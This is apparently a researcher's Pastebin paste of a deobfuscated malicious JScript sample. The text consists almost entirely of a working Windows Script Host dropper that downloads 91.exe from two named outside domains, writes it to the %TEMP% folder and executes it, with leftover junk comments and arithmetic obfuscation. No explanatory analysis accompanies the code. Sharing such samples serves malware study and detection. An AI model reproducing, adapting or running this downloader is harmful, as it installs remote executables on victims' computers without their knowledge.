SHARE
TWEET

Malicious deobfuscated Javascript

dynamoo Dec 14th, 2015 174 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3.  
  4.  
  5. var r = "firstwetakemanhat.com/91.exe? miracleworld1.com/91.exe? ? ?".split(" ");
  6.  
  7. var Yte =((1/*YRjU657206596n252795uM354193eOiZ*/)?"WScri":"")+"pt.Shell";
  8.  
  9. var Wb = WScript.CreateObject(Yte);
  10.  
  11. var yv = "%TEMP%\\";
  12.  
  13. var cnl = Wb.ExpandEnvironmentStrings(yv);
  14.  
  15. var pAj = "2.XMLH";
  16.  
  17. var HSK = pAj + "TTP";
  18.  
  19. var zD = true  , mjce = "ADOD";
  20.  
  21. var vE = WScript.CreateObject("MS"+"XML"+(831209, HSK));
  22.  
  23. var Xzo = WScript.CreateObject(mjce + "B.St"+(162841, "ream"));
  24.  
  25. var NNF = 0;
  26.  
  27. var B = 1;
  28.  
  29. var Asrznox = 364234;
  30.  
  31. for (var d=NNF; d<r.length; d++)  {
  32.  
  33. var fz = 0;
  34.  
  35. try  {
  36.  
  37. poi = "GET";
  38.  
  39. vE.open(poi,"http://"+r[d]+B, false); vE.send(); if (vE.status == 624-424)  {      
  40.  
  41. Xzo.open(); Xzo.type = 1; Xzo.write(vE.responseBody); if (Xzo.size > 160685-687)  {
  42.  
  43. fz = 1; Xzo.position = 0; Xzo.saveToFile/*DgCI31PMfY*/(cnl/*8DMp5529Xu*/+Asrznox+".exe",4-2); try  {
  44.  
  45. if (((new Date())>0,7562005888)) {
  46.  
  47. Wb./*d841430Xl7C*/Run(cnl+Asrznox+/*QK3F41DIjH*/".exe",/*rYIe99EyNR*/3-2,0);
  48.  
  49. break;
  50.  
  51. }
  52.  
  53. }
  54.  
  55. catch (cG)  {
  56.  
  57. };
  58.  
  59. }; Xzo.close();
  60.  
  61. };
  62.  
  63. if (fz == 1)  {
  64.  
  65. NNF = d; break;
  66.  
  67. };
  68.  
  69. }
  70.  
  71. catch (cG)  {
  72.  
  73. };
  74.  
  75. };
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top